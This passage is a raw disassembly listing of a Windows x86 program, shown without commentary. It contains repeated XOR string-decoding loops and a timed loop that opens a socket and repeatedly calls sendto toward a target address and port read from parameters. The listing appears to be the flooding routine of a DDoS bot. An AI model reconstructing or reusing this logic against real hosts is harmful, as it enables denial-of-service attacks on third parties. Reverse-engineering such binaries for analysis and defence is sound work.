lea eax, [ebp - 0x1a8]
push eax
push esi
lea ecx, [ebp - 0x13dc]
call fcn.00403540
push eax
push 0x44ab08
lea ecx, [ebp - 0x13c4]
call fcn.00403580
push eax
push edi
lea ecx, [ebp - 0x13ac]
call fcn.00403540
mov edx, eax
lea ecx, [ebp - 0x1394]
call fcn.004146c0
add esp, 4
mov edx, eax
lea ecx, [ebp - 0x137c]
call fcn.004146c0
add esp, 4
mov edx, eax
lea ecx, [ebp - 0x1364]
call fcn.00414620
add esp, 4
mov edx, eax
lea ecx, [ebp - 0x5c4]
call fcn.004146c0
add esp, 4
lea ecx, [ebp - 0x1364]
call fcn.004034a0
lea ecx, [ebp - 0x137c]
call fcn.004034a0
lea ecx, [ebp - 0x1394]
call fcn.004034a0
lea ecx, [ebp - 0x13ac]
call fcn.004034a0
lea ecx, [ebp - 0x13c4]
call fcn.004034a0
lea ecx, [ebp - 0x13dc]
call fcn.004034a0
lea ecx, [ebp - 0x13f4]
call fcn.004034a0
push 0
lea ecx, [ebp - 0x5c4]
call fcn.00412af0
push eax
lea ecx, [ebp - 0x5c4]
call fcn.00403420
mov edx, eax
mov ecx, dword [ebp - 0x3c]
call fcn.004096a0
add esp, 8
lea ecx, [ebp - 0x5c4]
call fcn.004034a0
jmp 0x4116fe
mov byte [ebp - 0x92], 0
lea eax, [ebp - 0x8d1]
push eax
lea ecx, [ebp - 0x92]
call fcn.00411d50
mov dword [ebp - 0x38], eax
cmp byte [eax + 9], 0
je 0x40f3e9
xor ecx, ecx
mov dword [ebp - 0x254], ecx
nop word [eax + eax]
cmp ecx, 0xa
jge 0x40f3e9
lea esi, [ecx + eax]
mov eax, 0x4d4873ed
imul ecx
sar edx, 4
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
mov al, 1
sub al, cl
movsx eax, al
imul eax, eax, 0x35
mov ecx, dword [ebp - 0x254]
add al, cl
xor byte [esi], al
inc ecx
mov dword [ebp - 0x254], ecx
mov eax, dword [ebp - 0x38]
jmp 0x40f3b0
push 0
push eax
lea ecx, [ebp - 0x1424]
call fcn.00403540
push eax
push 0
lea ecx, [ebp - 0x48]
call fcn.00411f80
push eax
lea ecx, [ebp - 0x140c]
call fcn.00403580
mov ecx, eax
call fcn.00412840
mov esi, eax
lea ecx, [ebp - 0x140c]
call fcn.004034a0
lea ecx, [ebp - 0x1424]
call fcn.004034a0
cmp esi, 0xffffffff
je 0x40fdc0
cmp edi, 4
jl 0x40fb98
mov byte [ebp - 4], 7
xor ecx, ecx
call fcn.00406390
mov dword [ebp - 0x6c], eax
mov ecx, edx
mov dword [ebp - 0x68], ecx
mov edi, eax
mov dword [ebp - 0x30], ecx
mov byte [ebp - 0x93], 0
mov byte [ebp - 0x94], 0
mov byte [ebp - 0x95], 0
lea eax, [ebp - 0x1fd2]
push eax
lea ecx, [ebp - 0x93]
call fcn.00411d80
mov dword [ebp - 0x28], eax
cmp byte [eax + 0x1f], 0
je 0x40f4c9
xor ecx, ecx
mov dword [ebp - 0x258], ecx
nop
cmp ecx, 0x20
jge 0x40f4c9
lea esi, [ecx + eax]
mov eax, 0x4d4873ed
imul ecx
sar edx, 4
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
mov al, 1
sub al, cl
movsx eax, al
imul eax, eax, 0x35
mov ecx, dword [ebp - 0x258]
add al, cl
xor byte [esi], al
inc ecx
mov dword [ebp - 0x258], ecx
mov eax, dword [ebp - 0x28]
jmp 0x40f490
lea eax, [ebp - 0x403]
push eax
lea ecx, [ebp - 0x94]
call fcn.00411b40
mov dword [ebp - 0x2c], eax
cmp byte [eax + 2], 0
je 0x40f529
xor ecx, ecx
mov dword [ebp - 0x25c], ecx
nop dword [eax]
cmp ecx, 3
jge 0x40f529
lea esi, [ecx + eax]
mov eax, 0x4d4873ed
imul ecx
sar edx, 4
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
mov al, 1
sub al, cl
movsx eax, al
imul eax, eax, 0x35
mov ecx, dword [ebp - 0x25c]
add al, cl
xor byte [esi], al
inc ecx
mov dword [ebp - 0x25c], ecx
mov eax, dword [ebp - 0x2c]
jmp 0x40f4f0
lea eax, [ebp - 0x851]
push eax
lea ecx, [ebp - 0x95]
call fcn.00411b20
mov esi, eax
mov dword [ebp - 0x38], esi
cmp byte [esi + 8], 0
je 0x40f588
xor ecx, ecx
mov dword [ebp - 0x260], ecx
nop
cmp ecx, 9
jge 0x40f588
add esi, ecx
mov eax, 0x4d4873ed
imul ecx
sar edx, 4
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
mov al, 1
sub al, cl
movsx eax, al
imul eax, eax, 0x35
mov ecx, dword [ebp - 0x260]
add al, cl
xor byte [esi], al
inc ecx
mov dword [ebp - 0x260], ecx
mov esi, dword [ebp - 0x38]
jmp 0x40f550
push 0x445d94
push 2
lea ecx, [ebp - 0x48]
call fcn.00411f80
push eax
push 0x445d98
push 1
lea ecx, [ebp - 0x48]
call fcn.00411f80
push eax
push dword [ebp - 0x28]
lea ecx, [ebp - 0x768]
call fcn.00403540
push eax
lea eax, [ebp - 0x1a8]
push eax
push dword [ebp - 0x2c]
lea ecx, [ebp - 0x1514]
call fcn.00403540
push eax
push 0x44ab08
lea ecx, [ebp - 0x14fc]
call fcn.00403580
push eax
push esi
lea ecx, [ebp - 0x14e4]
call fcn.00403540
mov edx, eax
lea ecx, [ebp - 0x14cc]
call fcn.004146c0
add esp, 4
mov edx, eax
lea ecx, [ebp - 0x14b4]
call fcn.004146c0
add esp, 4
mov edx, eax
lea ecx, [ebp - 0x149c]
call fcn.00414620
add esp, 4
mov edx, eax
lea ecx, [ebp - 0x1484]
call fcn.004146c0
add esp, 4
mov edx, eax
lea ecx, [ebp - 0x146c]
call fcn.00414620
add esp, 4
mov edx, eax
lea ecx, [ebp - 0x1454]
call fcn.004142b0
add esp, 4
mov edx, eax
lea ecx, [ebp - 0x143c]
call fcn.00414620
add esp, 4
mov edx, eax
lea ecx, [ebp - 0x488]
call fcn.004142b0
add esp, 4
lea ecx, [ebp - 0x143c]
call fcn.004034a0
lea ecx, [ebp - 0x1454]
call fcn.004034a0
lea ecx, [ebp - 0x146c]
call fcn.004034a0
lea ecx, [ebp - 0x1484]
call fcn.004034a0
lea ecx, [ebp - 0x149c]
call fcn.004034a0
lea ecx, [ebp - 0x14b4]
call fcn.004034a0
lea ecx, [ebp - 0x14cc]
call fcn.004034a0
lea ecx, [ebp - 0x14e4]
call fcn.004034a0
lea ecx, [ebp - 0x14fc]
call fcn.004034a0
lea ecx, [ebp - 0x1514]
call fcn.004034a0
lea ecx, [ebp - 0x768]
call fcn.004034a0
push 0
lea ecx, [ebp - 0x488]
call fcn.00412af0
push eax
lea ecx, [ebp - 0x488]
call fcn.00403420
mov edx, eax
mov ecx, dword [ebp - 0x3c]
call fcn.004096a0
add esp, 8
push 6
push 1
push 2
call dword [sym.imp.WS2_32.dll_socket]
mov dword [ebp - 0x28], eax
cmp eax, 0xffffffff
jne 0x40f728
lea ecx, [ebp - 0x488]
jmp 0x40e243
mov eax, 2
mov word [ebp - 0x5ac], ax
push eax
lea ecx, [ebp - 0x48]
call fcn.00411f80
mov ecx, eax
call fcn.00403420
push eax
call fcn.004247f8
add esp, 4
push eax
call dword [sym.imp.WS2_32.dll_htons]
mov word [ebp - 0x5aa], ax
push 1
lea ecx, [ebp - 0x48]
call fcn.00411f80
mov ecx, eax
call fcn.00403420
push eax
call dword [sym.imp.WS2_32.dll_inet_addr]
mov dword [ebp - 0x5a8], eax
xor esi, esi
mov dword [ebp - 0x34c], esi
push 3
lea ecx, [ebp - 0x48]
call fcn.00411f80
mov ecx, eax
call fcn.00403420
push eax
call fcn.004247f8
add esp, 4
mov dword [ebp - 0x2c], eax
mov ecx, dword [ebp - 0x30]
sub edi, dword [ebp - 0x6c]
sbb ecx, dword [ebp - 0x68]
cdq
cmp ecx, edx
jg 0x40f837
jl 0x40f7ba
cmp edi, eax
jae 0x40f837
xor ecx, ecx
call fcn.00406390
mov edi, eax
mov ecx, edx
mov dword [ebp - 0x30], ecx
cmp esi, 0x14
jl 0x40f828
mov edx, 0x64
lea ecx, [ebp - 0x768]
call fcn.00408aa0
mov ecx, eax
call fcn.00403420
mov dword [ebp - 0x38], eax
lea ecx, [ebp - 0x768]
call fcn.004034a0
mov edx, dword [ebp - 0x38]
mov ecx, edx
lea eax, [ecx + 1]
mov dword [ebp - 0x38], eax
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x40f800
sub ecx, dword [ebp - 0x38]
push 0x10
lea eax, [ebp - 0x5ac]
push eax
push 0
push ecx
push edx
push dword [ebp - 0x28]
call dword [sym.imp.WS2_32.dll_sendto]
cmp eax, 0xffffffff
je 0x40f837
mov ecx, dword [ebp - 0x30]
inc esi
mov dword [ebp - 0x34c], esi
mov eax, dword [ebp - 0x2c]
jmp 0x40f7a1
push dword [ebp - 0x28]
call dword [sym.imp.WS2_32.dll_closesocket]
mov byte [ebp - 0x96], 0
mov byte [ebp - 0x97], 0
mov byte [ebp - 0x98], 0
mov byte [ebp - 0x99], 0
lea eax, [ebp - 0x8c7]
push eax
lea ecx, [ebp - 0x96]
call fcn.00411d00
mov dword [ebp - 0x2c], eax
cmp byte [eax + 9], 0
je 0x40f8b9
xor ecx, ecx
mov dword [ebp - 0x1e8], ecx
nop
cmp ecx, 0xa
jge 0x40f8b9
lea esi, [ecx + eax]
mov eax, 0x4d4873ed
imul ecx
sar edx, 4
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
mov al, 1
sub al, cl
movsx eax, al
imul eax, eax, 0x35
mov ecx, dword [ebp - 0x1e8]
add al, cl
xor byte [esi], al
inc ecx
mov dword [ebp - 0x1e8], ecx
mov eax, dword [ebp - 0x2c]
jmp 0x40f880
lea eax, [ebp - 0x1ff2]
push eax
lea ecx, [ebp - 0x97]
call fcn.00411d80
mov dword [ebp - 0x30], eax
cmp byte [eax + 0x1f], 0
je 0x40f919
xor ecx, ecx
mov dword [ebp - 0x264], ecx
nop dword [eax]
cmp ecx, 0x20
jge 0x40f919
lea esi, [ecx + eax]
mov eax, 0x4d4873ed
imul ecx
sar edx, 4
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
mov al, 1
sub al, cl
movsx eax, al
imul eax, eax, 0x35
mov ecx, dword [ebp - 0x264]
add al, cl
xor byte [esi], al
inc ecx
mov dword [ebp - 0x264], ecx
mov eax, dword [ebp - 0x30]
jmp 0x40f8e0
lea eax, [ebp - 0x423]
push eax
lea ecx, [ebp - 0x98]
call fcn.00411b40
mov esi, eax
mov dword [ebp - 0x28], esi
cmp byte [esi + 2], 0
je 0x40f978
xor ecx, ecx
mov dword [ebp - 0x268], ecx
nop
cmp ecx, 3
jge 0x40f978
add esi, ecx
mov eax, 0x4d4873ed
imul ecx
sar edx, 4
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
mov al, 1
sub al, cl
movsx eax, al
imul eax, eax, 0x35
mov ecx, dword [ebp - 0x268]
add al, cl
xor byte [esi], al
inc ecx
mov dword [ebp - 0x268], ecx
mov esi, dword [ebp - 0x28]
jmp 0x40f940
lea eax, [ebp - 0x848]
push eax
lea ecx, [ebp - 0x99]
call fcn.00411b20
mov edi, eax
cmp byte [edi + 8], 0
je 0x40f9cd
xor ecx, ecx
mov dword [ebp - 0x26c], ecx
cmp ecx, 9
jge 0x40f9ca
lea esi, [ecx + edi]
mov eax, 0x4d4873ed
imul ecx
sar edx, 4
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
mov al, 1
sub al, cl
movsx eax, al
imul eax, eax, 0x35
mov ecx, dword [ebp - 0x26c]
add al, cl
xor byte [esi], al
inc ecx
jmp 0x40f994
mov esi, dword [ebp - 0x28]
push dword [ebp - 0x2c]
lea ecx, [ebp - 0x1634]
call fcn.00403540
push eax
push 2
lea ecx, [ebp - 0x48]
call fcn.00411f80
push eax
push 0x445d98
push 1
lea ecx, [ebp - 0x48]
call fcn.00411f80
push eax
push dword [ebp - 0x30]
lea ecx, [ebp - 0x161c]
call fcn.00403540
push eax
lea eax, [ebp - 0x1a8]
push eax
push esi
lea ecx, [ebp - 0x1604]
call fcn.00403540
push eax
push 0x44ab08
lea ecx, [ebp - 0x15ec]
call fcn.00403580
push eax
push edi
lea ecx, [ebp - 0x15d4]
call fcn.00403540
mov edx, eax
lea ecx, [ebp - 0x15bc]
call fcn.004146c0
add esp, 4
mov edx, eax
lea ecx, [ebp - 0x15a4]
call fcn.004146c0
add esp, 4
mov edx, eax
lea ecx, [ebp - 0x158c]
call fcn.00414620
add esp, 4
mov edx, eax
lea ecx, [ebp - 0x1574]
call fcn.004146c0
add esp, 4
mov edx, eax
lea ecx, [ebp - 0x155c]
call fcn.00414620
add esp, 4
mov edx, eax
lea ecx, [ebp - 0x1544]
call fcn.004142b0
add esp, 4
mov edx, eax
lea ecx, [ebp - 0x152c]
call fcn.00414620
add esp, 4
mov edx, eax
lea ecx, [ebp - 0x59c]
call fcn.004146c0
add esp, 4
lea ecx, [ebp - 0x152c]
call fcn.004034a0
lea ecx, [ebp - 0x1544]
call fcn.004034a0
lea ecx, [ebp - 0x155c]
call fcn.004034a0
lea ecx, [ebp - 0x1574]
call fcn.004034a0
lea ecx, [ebp - 0x158c]
call fcn.004034a0
lea ecx, [ebp - 0x15a4]
call fcn.004034a0
lea ecx, [ebp - 0x15bc]
call fcn.004034a0
lea ecx, [ebp - 0x15d4]
call fcn.004034a0
lea ecx, [ebp - 0x15ec]
call fcn.004034a0
lea ecx, [ebp - 0x1604]
call fcn.004034a0
lea ecx, [ebp - 0x161c]
call fcn.004034a0
lea ecx, [ebp - 0x1634]
call fcn.004034a0
push 0
lea ecx, [ebp - 0x59c]
call fcn.00412af0
push eax
lea ecx, [ebp - 0x59c]
call fcn.00403420
mov edx, eax
mov ecx, dword [ebp - 0x3c]
call fcn.004096a0
add esp, 8
lea ecx, [ebp - 0x59c]
call fcn.004034a0
lea ecx, [ebp - 0x488]
call fcn.004034a0
jmp 0x4116f7
mov byte [ebp - 0x9a], 0
mov byte [ebp - 0x9b], 0
mov byte [ebp - 0x9c], 0
lea eax, [ebp - 0x1ec3]
push eax
lea ecx, [ebp - 0x9a]
call fcn.00411c70
mov dword [ebp - 0x2c], eax
cmp byte [eax + 0x1a], 0
je 0x40fc09
xor ecx, ecx
mov dword [ebp - 0x270], ecx
cmp ecx, 0x1b
jge 0x40fc09
lea esi, [ecx + eax]
mov eax, 0x4d4873ed
imul ecx
sar edx, 4
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
mov al, 1
sub al, cl
movsx eax, al
imul eax, eax, 0x35
mov ecx, dword [ebp - 0x270]
add al, cl
xor byte [esi], al
inc ecx
mov dword [ebp - 0x270], ecx
mov eax, dword [ebp - 0x2c]
jmp 0x40fbd0
lea eax, [ebp - 0x3e5]
push eax
lea ecx, [ebp - 0x9b]
call fcn.00411b40
mov esi, eax
mov dword [ebp - 0x28], esi
cmp byte [esi + 2], 0
je 0x40fc68
xor ecx, ecx
mov dword [ebp - 0x274], ecx
nop
cmp ecx, 3
jge 0x40fc68
add esi, ecx
mov eax, 0x4d4873ed
imul ecx
sar edx, 4
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
mov al, 1
sub al, cl
movsx eax, al
imul eax, eax, 0x35
mov ecx, dword [ebp - 0x274]
add al, cl
xor byte [esi], al
inc ecx
mov dword [ebp - 0x274], ecx
mov esi, dword [ebp - 0x28]
jmp 0x40fc30
lea eax, [ebp - 0x85a]
push eax
lea ecx, [ebp - 0x9c]
call fcn.00411b20
mov edi, eax
cmp byte [edi + 8], 0
je 0x40fcbd
xor ecx, ecx
mov dword [ebp - 0x278], ecx
cmp ecx, 9
jge 0x40fcba
lea esi, [ecx + edi]
mov eax, 0x4d4873ed
imul ecx
sar edx, 4
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
mov al, 1
sub al, cl
movsx eax, al
imul eax, eax, 0x35
mov ecx, dword [ebp - 0x278]
add al, cl
xor byte [esi], al
inc ecx
jmp 0x40fc84
mov esi, dword [ebp - 0x28]
push dword [ebp - 0x2c]
lea ecx, [ebp - 0x16dc]
call fcn.00403540
push eax
lea eax, [ebp - 0x1a8]
push eax
push esi
lea ecx, [ebp - 0x16c4]
call fcn.00403540
push eax
push 0x44ab08
lea ecx, [ebp - 0x16ac]
call fcn.00403580
push eax
push edi
lea ecx, [ebp - 0x1694]
call fcn.00403540
mov edx, eax
lea ecx, [ebp - 0x167c]
call fcn.004146c0
add esp, 4
mov edx, eax
lea ecx, [ebp - 0x1664]
call fcn.004146c0
add esp, 4
mov edx, eax
lea ecx, [ebp - 0x164c]
call fcn.00414620
add esp, 4
mov edx, eax
lea ecx, [ebp - 0x584]
call fcn.004146c0
add esp, 4
lea ecx, [ebp - 0x164c]
call fcn.004034a0
lea ecx, [ebp - 0x1664]
call fcn.004034a0
lea ecx, [ebp - 0x167c]
call fcn.004034a0
lea ecx, [ebp - 0x1694]
call fcn.004034a0
lea ecx, [ebp - 0x16ac]
call fcn.004034a0
lea ecx, [ebp - 0x16c4]
call fcn.004034a0
lea ecx, [ebp - 0x16dc]
call fcn.004034a0
push 0
lea ecx, [ebp - 0x584]
call fcn.00412af0
push eax
lea ecx, [ebp - 0x584]
call fcn.00403420
mov edx, eax
mov ecx, dword [ebp - 0x3c]
call fcn.004096a0
add esp, 8
lea ecx, [ebp - 0x584]
call fcn.004034a0
jmp 0x4116fe
mov byte [ebp - 0xc4], 0
lea eax, [ebp - 0x6c6]
push eax
lea ecx, [ebp - 0xc4]
call fcn.00411da0
mov dword [ebp - 0x38], eax
cmp byte [eax + 4], 0
je 0x40fe29
xor ecx, ecx
mov dword [ebp - 0x27c], ecx
nop word [eax + eax]
cmp ecx, 5
jge 0x40fe29
lea esi, [ecx + eax]
mov eax, 0x4d4873ed
imul ecx
sar edx, 4
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
mov al, 1
sub al, cl
movsx eax, al
imul eax, eax, 0x35
mov ecx, dword [ebp - 0x27c]
add al, cl
xor byte [esi], al
inc ecx
mov dword [ebp - 0x27c], ecx
mov eax, dword [ebp - 0x38]
jmp 0x40fdf0
push 0
push eax
lea ecx, [ebp - 0x170c]
call fcn.00403540
push eax
push 0
lea ecx, [ebp - 0x48]
call fcn.00411f80
push eax
lea ecx, [ebp - 0x16f4]
call fcn.00403580
mov ecx, eax
call fcn.00412840
mov esi, eax
lea ecx, [ebp - 0x16f4]
call fcn.004034a0
lea ecx, [ebp - 0x170c]
call fcn.004034a0
cmp esi, 0xffffffff
je 0x410800
cmp edi, 4
jl 0x4105d8
mov byte [ebp - 4], 9
xor ecx, ecx
call fcn.00406390
mov dword [ebp - 0x6c], eax
mov ecx, edx
mov dword [ebp - 0x68], ecx
mov edi, eax
mov dword [ebp - 0x30], ecx
mov byte [ebp - 0x9e], 0
mov byte [ebp - 0x9f], 0
mov byte [ebp - 0xa0], 0
lea eax, [ebp - 0x2012]
push eax
lea ecx, [ebp - 0x9e]
call fcn.00411d80
mov dword [ebp - 0x28], eax
cmp byte [eax + 0x1f], 0
je 0x40ff09
xor ecx, ecx
mov dword [ebp - 0x280], ecx
nop
cmp ecx, 0x20
jge 0x40ff09
lea esi, [ecx + eax]
mov eax, 0x4d4873ed
imul ecx
sar edx, 4
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
mov al, 1
sub al, cl
movsx eax, al
imul eax, eax, 0x35
mov ecx, dword [ebp - 0x280]
add al, cl
xor byte [esi], al
inc ecx
mov dword [ebp - 0x280], ecx
mov eax, dword [ebp - 0x28]
jmp 0x40fed0
lea eax, [ebp - 0x3e2]
push eax
lea ecx, [ebp - 0x9f]
call fcn.00411b40
mov dword [ebp - 0x2c], eax
cmp byte [eax + 2], 0
je 0x40ff69
xor ecx, ecx
mov dword [ebp - 0x284], ecx
nop dword [eax]
cmp ecx, 3
jge 0x40ff69
lea esi, [ecx + eax]
mov eax, 0x4d4873ed
imul ecx
sar edx, 4
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
mov al, 1
sub al, cl
movsx eax, al
imul eax, eax, 0x35
mov ecx, dword [ebp - 0x284]
add al, cl
xor byte [esi], al
inc ecx
mov dword [ebp - 0x284], ecx
mov eax, dword [ebp - 0x2c]
jmp 0x40ff30
lea eax, [ebp - 0x8bd]
push eax
lea ecx, [ebp - 0xa0]
call fcn.00411b20
mov esi, eax
mov dword [ebp - 0x38], esi
cmp byte [esi + 8], 0
je 0x40ffc8
xor ecx, ecx
mov dword [ebp - 0x288], ecx
nop
cmp ecx, 9
jge 0x40ffc8
add esi, ecx
mov eax, 0x4d4873ed
imul ecx
sar edx, 4
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
mov al, 1
sub al, cl
movsx eax, al
imul eax, eax, 0x35
mov ecx, dword [ebp - 0x288]
add al, cl
xor byte [esi], al
inc ecx
mov dword [ebp - 0x288], ecx
mov esi, dword [ebp - 0x38]
jmp 0x40ff90
push 0x445d94
push 2
lea ecx, [ebp - 0x48]
call fcn.00411f80
push eax
push 0x445d98
push 1
lea ecx, [ebp - 0x48]
call fcn.00411f80
push eax
push dword [ebp - 0x28]
lea ecx, [ebp - 0x750]
call fcn.00403540
push eax
lea eax, [ebp - 0x1a8]
push eax
push dword [ebp - 0x2c]
lea ecx, [ebp - 0x17fc]
call fcn.00403540
push eax
push 0x44ab08
lea ecx, [ebp - 0x17e4]
call fcn.00403580
push eax
push esi
lea ecx, [ebp - 0x17cc]
call fcn.00403540
mov edx, eax
lea ecx, [ebp - 0x17b4]
call fcn.004146c0
add esp, 4
mov edx, eax
lea ecx, [ebp - 0x179c]
call fcn.004146c0
add esp, 4
mov edx, eax
lea ecx, [ebp - 0x1784]
call fcn.00414620
add esp, 4
mov edx, eax
lea ecx, [ebp - 0x176c]
call fcn.004146c0
add esp, 4
mov edx, eax
lea ecx, [ebp - 0x1754]
call fcn.00414620
add esp, 4
mov edx, eax
lea ecx, [ebp - 0x173c]
call fcn.004142b0
add esp, 4
mov edx, eax
lea ecx, [ebp - 0x1724]
call fcn.00414620
add esp, 4
mov edx, eax
lea ecx, [ebp - 0x4a0]
call fcn.004142b0
add esp, 4
lea ecx, [ebp - 0x1724]
call fcn.004034a0
lea ecx, [ebp - 0x173c]
call fcn.004034a0
lea ecx, [ebp - 0x1754]
call fcn.004034a0
lea ecx, [ebp - 0x176c]
call fcn.004034a0
lea ecx, [ebp - 0x1784]
call fcn.004034a0
lea ecx, [ebp - 0x179c]
call fcn.004034a0
lea ecx, [ebp - 0x17b4]
call fcn.004034a0
lea ecx, [ebp - 0x17cc]
call fcn.004034a0
lea ecx, [ebp - 0x17e4]
call fcn.004034a0
lea ecx, [ebp - 0x17fc]
call fcn.004034a0
lea ecx, [ebp - 0x750]
call fcn.004034a0
push 0
lea ecx, [ebp - 0x4a0]
call fcn.00412af0
push eax
lea ecx, [ebp - 0x4a0]
call fcn.00403420
mov edx, eax
mov ecx, dword [ebp - 0x3c]
call fcn.004096a0
add esp, 8
push 6
push 1
push 2
call dword [sym.imp.WS2_32.dll_socket]
mov dword [ebp - 0x28], eax
cmp eax, 0xffffffff
jne 0x410168
lea ecx, [ebp - 0x4a0]
jmp 0x40e243
mov eax, 2
mov word [ebp - 0x56c], ax
push eax
lea ecx, [ebp - 0x48]
call fcn.00411f80
mov ecx, eax
call fcn.00403420
push eax
call fcn.004247f8
add esp, 4
push eax
call dword [sym.imp.WS2_32.dll_htons]
mov word [ebp - 0x56a], ax
push 1
lea ecx, [ebp - 0x48]
call fcn.00411f80
mov ecx, eax
call fcn.00403420
push eax
call dword [sym.imp.WS2_32.dll_inet_addr]
mov dword [ebp - 0x568], eax
xor esi, esi
mov dword [ebp - 0x350], esi
push 3
lea ecx, [ebp - 0x48]
call fcn.00411f80
mov ecx, eax
call fcn.00403420
push eax
call fcn.004247f8
add esp, 4
mov dword [ebp - 0x2c], eax
mov ecx, dword [ebp - 0x30]
sub edi, dword [ebp - 0x6c]
sbb ecx, dword [ebp - 0x68]
cdq
cmp ecx, edx
jg 0x410277
jl 0x4101fa
cmp edi, eax
jae 0x410277
xor ecx, ecx
call fcn.00406390
mov edi, eax
mov ecx, edx
mov dword [ebp - 0x30], ecx
cmp esi, 0x14
jl 0x410268
mov edx, 0x64
lea ecx, [ebp - 0x750]
call fcn.00408aa0
mov ecx, eax
call fcn.00403420
mov dword [ebp - 0x38], eax
lea ecx, [ebp - 0x750]
call fcn.004034a0
mov edx, dword [ebp - 0x38]
mov ecx, edx
lea eax, [ecx + 1]
mov dword [ebp - 0x38], eax
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x410240
sub ecx, dword [ebp - 0x38]
push 0x10
lea eax, [ebp - 0x56c]
push eax
push 0
push ecx
push edx
push dword [ebp - 0x28]
call dword [sym.imp.WS2_32.dll_sendto]
cmp eax, 0xffffffff
je 0x410277
mov ecx, dword [ebp - 0x30]
inc esi
mov dword [ebp - 0x350], esi
mov eax, dword [ebp - 0x2c]
jmp 0x4101e1
push dword [ebp - 0x28]
call dword [sym.imp.WS2_32.dll_closesocket]
mov byte [ebp - 0xa1], 0
mov byte [ebp - 0xa2], 0
mov byte [ebp - 0xa3], 0
mov byte [ebp - 0xa4], 0
lea eax, [ebp - 0x13a]
push eax
lea ecx, [ebp - 0xa1]
call fcn.00411d00
mov dword [ebp - 0x2c], eax
cmp byte [eax + 9], 0
je 0x4102f9
xor ecx, ecx
mov dword [ebp - 0x28c], ecx
nop
cmp ecx, 0xa
jge 0x4102f9
lea esi, [ecx + eax]
mov eax, 0x4d4873ed
imul ecx
sar edx, 4
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
mov al, 1
sub al, cl
movsx eax, al
imul eax, eax, 0x35
mov ecx, dword [ebp - 0x28c]
add al, cl
xor byte [esi], al
inc ecx
mov dword [ebp - 0x28c], ecx
mov eax, dword [ebp - 0x2c]
jmp 0x4102c0
lea eax, [ebp - 0x324]
push eax
lea ecx, [ebp - 0xa2]
call fcn.00411d80
mov dword [ebp - 0x30], eax
cmp byte [eax + 0x1f], 0
je 0x410359
xor ecx, ecx
mov dword [ebp - 0x290], ecx
nop dword [eax]
cmp ecx, 0x20
jge 0x410359
lea esi, [ecx + eax]
mov eax, 0x4d4873ed
imul ecx
sar edx, 4
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
mov al, 1
sub al, cl
movsx eax, al
imul eax, eax, 0x35
mov ecx, dword [ebp - 0x290]
add al, cl
xor byte [esi], al
inc ecx
mov dword [ebp - 0x290], ecx
mov eax, dword [ebp - 0x30]
jmp 0x410320
lea eax, [ebp - 0x3df]
push eax
lea ecx, [ebp - 0xa3]
call fcn.00411b40
mov esi, eax
mov dword [ebp - 0x28], esi
cmp byte [esi + 2], 0
je 0x4103b8
xor ecx, ecx
mov dword [ebp - 0x294], ecx
nop
cmp ecx, 3
jge 0x4103b8
add esi, ecx
mov eax, 0x4d4873ed
imul ecx
sar edx, 4
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
mov al, 1
sub al, cl
movsx eax, al
imul eax, eax, 0x35
mov ecx, dword [ebp - 0x294]
add al, cl
xor byte [esi], al
inc ecx
mov dword [ebp - 0x294], ecx
mov esi, dword [ebp - 0x28]
jmp 0x410380
lea eax, [ebp - 0x8b4]
push eax
lea ecx, [ebp - 0xa4]
call fcn.00411b20
mov edi, eax
cmp byte [edi + 8], 0
je 0x41040d
xor ecx, ecx
mov dword [ebp - 0x298], ecx
cmp ecx, 9
jge 0x41040a
lea esi, [ecx + edi]
mov eax, 0x4d4873ed
imul ecx
sar edx, 4
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
mov al, 1
sub al, cl
movsx eax, al
imul eax, eax, 0x35
mov ecx, dword [ebp - 0x298]
add al, cl
xor byte [esi], al
inc ecx
jmp 0x4103d4
mov esi, dword [ebp - 0x28]
push dword [ebp - 0x2c]
lea ecx, [ebp - 0x191c]
call fcn.00403540
push eax
push 2
lea ecx, [ebp - 0x48]
call fcn.00411f80
push eax
push 0x445d98
push 1
lea ecx, [ebp - 0x48]
call fcn.00411f80
push eax
push dword [ebp - 0x30]
lea ecx, [ebp - 0x1904]
call fcn.00403540
push eax
lea eax, [ebp - 0x1a8]
push eax
push esi
lea ecx, [ebp - 0x18ec]
call fcn.00403540
push eax
push 0x44ab08
lea ecx, [ebp - 0x18d4]
call fcn.00403580
push eax
push edi
lea ecx, [ebp - 0x18bc]
call fcn.00403540
mov edx, eax
lea ecx, [ebp - 0x18a4]
call fcn.004146c0
add esp, 4
mov edx, eax
lea ecx, [ebp - 0x188c]
call fcn.004146c0
add esp, 4
mov edx, eax
lea ecx, [ebp - 0x1874]
call fcn.00414620
add esp, 4
mov edx, eax
lea ecx, [ebp - 0x185c]
call fcn.004146c0
add esp, 4
mov edx, eax
lea ecx, [ebp - 0x1844]
call fcn.00414620
add esp, 4
mov edx, eax
lea ecx, [ebp - 0x182c]
call fcn.004142b0
add esp, 4
mov edx, eax
lea ecx, [ebp - 0x1814]
call fcn.00414620
add esp, 4
mov edx, eax
lea ecx, [ebp - 0x5fc]
call fcn.004146c0
add esp, 4
lea ecx, [ebp - 0x1814]
call fcn.004034a0
lea ecx, [ebp - 0x182c]
call fcn.004034a0
lea ecx, [ebp - 0x1844]
call fcn.004034a0
lea ecx, [ebp - 0x185c]
call fcn.004034a0
lea ecx, [ebp - 0x1874]
call fcn.004034a0
lea ecx, [ebp - 0x188c]
call fcn.004034a0
lea ecx, [ebp - 0x18a4]
call fcn.004034a0
lea ecx, [ebp - 0x18bc]
call fcn.004034a0
lea ecx, [ebp - 0x18d4]
call fcn.004034a0
lea ecx, [ebp - 0x18ec]
